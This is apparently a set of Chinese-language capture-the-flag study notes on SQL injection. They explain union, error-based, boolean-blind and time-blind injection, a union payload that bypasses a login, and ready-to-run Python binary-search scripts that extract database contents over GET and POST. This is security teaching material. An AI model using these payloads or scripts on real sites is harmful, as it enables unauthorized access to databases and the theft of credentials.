简介
什么是sql注入:
所谓的sql注入就是通过构造“恶意”的代码,让服务器把提交的数据当做sql语句进行执行,从而查询到想要的信息注入的分类
注入大致可以分为
按照查询字段 1.字符型 2.数字型(整形)
按照注入方法 1.Union注入 2.报错注入 3.布尔盲注 4.时间盲注什么是注入点
注入点就是数据库连接访问的地方,例如URL栏,或是页面提供的表单等
如果这个地方会把用户输入的数据误解成SQL语法,则认为这个地方是注入点
例如:输入'
判断是否存在注入点,报错则说明把'
当成代码,存在注入点闭合
- 闭合符
'
"
')
")
等 - 闭合方式判断
在语句上加入闭合符,如果页面产生错误,再加上注释符(--+
,#
,%23
)页面又恢复正常,则证明这是该语句的闭合符 - 闭合的作用
手工闭合前一段查询语句,后面加入其他语句,查询需要的参数,不需要的语句可以用注释符注释
- 闭合符
GET提交注入
字符型与整数型注入的判断
原理:字符型需要闭合,两端会有闭合符单引号''
,而数字型不需要闭合符,两种不同类型会把输入的数字与符号理解成不同含义
and 1=1
和and 1=2
如果是数字型,and 1=2
时,逻辑错误,页面报错(或无回显),而如果为字符类型,and不会被解析成逻辑判断,只读取第一个字符,不会报错- 减法2-1
原理: 有回显的情况下,如果是整数型则会做减法,返回2-1的结果1,如果是字符型只会读取第一个字符2
列数的判断
可以利用group by 列数
或order by 列数
,如果找不到对应列数就会报错,利用二分法快速判断总列数
Union查询
联合查询特性
union查询会临时打印一张虚拟的表,会将新创建的虚拟表中的数据也加入数据库,有时可以根据这个特性,将账号密码加入数据库,然后登入
可以在不知道密码的情况下绕过密码登入
例如name=1'union select 1,'admin','202cb962ac59075b964b07152d234b70'#&pw=123
ps:密码常用md5的方式加密原理
利用Union查询,闭合前一句查询语句,然后可以在原本的查询语句后面加入想要的查询语句,但由于Union联合查询的前提 必须有回显,必须列数与类型一致.改变回显位置
有时页面只能显示一个内容,第二句内容不显示,可以把原本的第一句内容改为数据库不存在的数据(如id=-1
),从而使页面回显想要的内容关键数据库
information_schema
这个数据库里有两张关键的数据表tables
是所有表名的集合
tables里的table_name
字段储存的是表名,table_schema
字段储存的是表所在的数据库columns
是所有字段的集合
columns里的column_name
字段储存的是字段名
group_concat()
确保所有的信息能放在一行显示出来,但是有时显示位不够时,group_concat()可能会显示不全,这时候建议使用limit分页查询爆破当前数据库名
- 查询当前数据库
union select database()
无限定条件 - 查询所有数据库
union select 1,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
注意:有些时候flag会放在别的数据库
- 查询当前数据库
爆破表名
1
union select group_concat(table_name) from information_schema.tables where table_schema=database()
–限定条件一个,为当前所在的库
爆破字段名
1
union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='上一步爆破出来的表名'
–限定条件两个,1.为当前所在的库,2.上一步爆破出的表名
–更新,似乎不要第一个条件也可以,这样可以省略中间的and获取数据
union select group_concat(爆破字段1,爆破字段2) from 爆破出来的表名
报错注入
原理
前段页面不区别的直接将输入内容拼接成SQL语句,后端执行后也无差别的将结果显示到页面上.
构造语句,让错误信息中夹杂可以查询数据内容的查询语句,让返回的错误提示中包含数据库的内容.适用于无回显有报错的情况extractvalue报错
1
and 1=extractvalue(100,concat(0x7e,(查询内容)))
- 原理:
extractvalue()
函数的报错是会把报错地址回显出来,利用在extractvalue地址语句中插入sql查询语句,让报错提示把想要的信息回显,(查询语句)
中写入对应的查询语句即可 - 注意:
100的位置可以随意写,只要不存在的列名会报错即可,concat(参数1,参数2)
的作用是将逗号两边的内容拼接起来,而0x7e
代表的是字符~
,这是extractvalue回显的关键 substring(参数1,参数2,参数3)
控制输出使用原因:extractvalue报错注入默认只能返回三十二个字符,有时无法获取整个数据1
and 1=extractvalue(100,concat(0x7e,(select substring( group_concat(爆破字段1,爆破字段2),1,30)from 爆破出的表名 )))
用法:参数1是需要查看的数据,参数2是从第几个字符开始看,参数3是看几个字符
当然,这边也可以使用limit,不使用subtring+group_concat1
and 1=extractvalue(100,concat(0x7e,(select password from users limit 0,1 )))
- 原理:
updatexml报错
updatexml(1,concat(0x7e,(查询内容)),3)
updatexml在报错注入方面和extractvalue几乎没有差别,只是地址参数变成了第二个,
floor报错
暂略
布尔盲注
- 原理 :适用于页面无回显也无报错,但是页面有真假的区别的情况
- 基本格式
and ascii (substr((查询语句),1,1))>100 --+
ascii()
通过ascii()将查询的数据转为ascii码判断真假,为真,最后结果为1,为假,最后结果为0substring(参数1,参数2,参数3)
控制输出
参数1是需要查看的数据,参数2是从第几个字符开始看(从一开始每次加一),参数3是看几个字符(每次一个)- 二分法脚本:注意点:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22import time
import requests
url = '查询网址'
table = "" #储存数据
flag ="真值条件"
bihe="?id=1'" #闭合方式
for i in range(1, 100):
print(i)
left = 31
right = 128
mid = (left + right) // 2
while(left<right):
payload = f"and ascii (substr((查询语句),{i},1))>{mid} --+"
new_url = url +bihe+ payload
if flag in requests.get(url=new_url).text:
left = mid + 1
else:
right=mid
mid = (left + right) // 2
table= table + chr(mid)
print(table)
#time.sleep(0.5)二分法(<,>,+1)
,mid = (left + right) // 2
要写两个,其中一个在最后
另一种写法的二分法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20import requests
url=''
table=""
bihe="?id=1'"
flag=""
for i in range(1,100):
print(i)
left=31
right=128
while(1):
mid = (left + right) // 2
pyload=f"and ascii(substr((select database()),{i},1))>{mid} --+"
if flag in requests.get(url=url+bihe+pyload).text:
left=mid+1
elif left==right:
table += chr(mid)
break
else:
right=mid
print(table)
时间盲注
- 原理:
适用于页面有注入点,可以把输入内容当做代码执行,但是既没有回显也无报错,甚至无法区别真假。这是可以利用sleep()
函数测试,如果页面出现延迟,则说明存在注入点 - 关键函数
if(参数1,参数2,参数3)
这是SQL的if语法,参数1作为判断,若为真,则返回参数2,若为假,则返回参数三 - 基本格式
and if(ascii (substr((查询语句),1,1))>100,sleep(2),0)--+
- 时间盲注脚本注意:基本框架和布尔盲注类似,只要将布尔盲注的真值判断改为时间差即可(当然sql语句也要改),但脚本请求有基本的延迟,需要先判断基本延迟,如果特别卡可以把
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23import requests
import time
url = '查询地址'
table = "" #储存数据
bihe="?id=1'" #闭合方式
for i in range(1, 100):
print(i)
left = 31
right = 128
mid = (left + right) // 2
while(left<right):
payload = f"and if(ascii (substr((查询语句),{i},1))>{mid},sleep(2),0)--+"
new_url = url +bihe+ payload
start=time.time()
requests.get(url=new_url)
end=time.time()
if end-start>=2: #注意,这里要判断基本延迟
left = mid + 1
else:
right=mid
mid = (left + right) // 2
table= table + chr(mid)
print(table)sleep()
的时间改小一点
延迟判断在这段语句后面加上一个1
2
3start=time.time()
requests.get(url=new_url)
end=time.time()print(end-start)
即可,会不断跳出来数字,偏大的即为成功执行sleep
文件上传注入
暂略
and和or
如果要实现布尔盲注(需要页面有真假值的反馈),如果使用and,必须保证前半段语句是正确的,如果使用or,则必须保证前半段语句是错误的
POST提交注入
post提交和get提交的主要区别就是,post提交相对get提交更安全一些,一般的表单等密码输入都是采用post提交
post提交的闭合判断
若输入闭合符导致页面报错(或不显示),加上or 1=1 #
后可以成功登入,则说明存在注入点,且闭合符为输入闭合符
时间盲注
- 原理
post提交在手动注入上和get没有什么区别,但是在python脚本里,get提交是利用字符串的拼接来实现对网址的传参,而post提交则要利用字典 - 二分法脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25import requests
import time
url = '地址'
table = "" # 储存数据
for i in range(1, 100):
print(i)
left = 31
right = 128
mid = (left + right) // 2
while (left < right):
date = {
"uname": f"1' or if(ascii (substr((查询语句),{i},1))>{mid},sleep(2),0) #", #post要提交的数据
"passwd": "1",
"submit": "Submit"
}
start = time.time()
requests.post(url=url,data=date)
end = time.time()
if end - start >=2: # 注意,这里要判断基本延迟
left = mid + 1
else:
right = mid
mid = (left + right) // 2
table = table + chr(mid)
print(table)
布尔盲注
- 判断条件
如果条件是以图片的形式显示的,需要写成相对路径.jpg
,例如../images/flag.jpg
(两个小数点..
表示上一个目录) - 二分法脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24import time
import requests
url = '地址'
table = "" # 储存数据
flag='../images/flag.jpg' #真值条件
for i in range(1, 100):
print(i)
left = 31
right = 128
mid = (left + right) // 2
while (left < right):
date = {
"uname": f"1' or ascii (substr((查询条件),{i},1))>{mid} #", # post要提交的数据
"passwd": "1",
"submit": "Submit"
}
if flag in requests.post(url=url, data=date).text: # 注意,这里要判断基本延迟
left = mid + 1
else:
right = mid
mid = (left + right) // 2
table = table + chr(mid)
print(table)
#time.sleep(0.5)
头信息注入
- 如果网站记录了浏览信息或者是IP信息之类,就有可能存在头注入
- 有些网站可能需要登入进之后才能进行头注入
- 需要注意闭合和列数要保持一致
- 头信息有区别,但是本质上几种不同的头信息注入没有区别
- 可以利用hackbar,也可以用抓包软件burpsuite进行请求头的修改
一些代表ip的头信息
1 | X-Forwarded-For(XFF):用于标识通过代理服务器传输请求时的客户端IP地址。如果使用了多个代理,该头信息可能包含多个IP地址,以逗号分隔。 |
注入编码
有时候网站会对cookie
或其他的一些注入点进行编码,这时候需要把我们的查询语句编码后再放入指定位置,但注释符也可能无法成功编码,这时候可以利用and '1'='1
类似这样的语句产生注释效果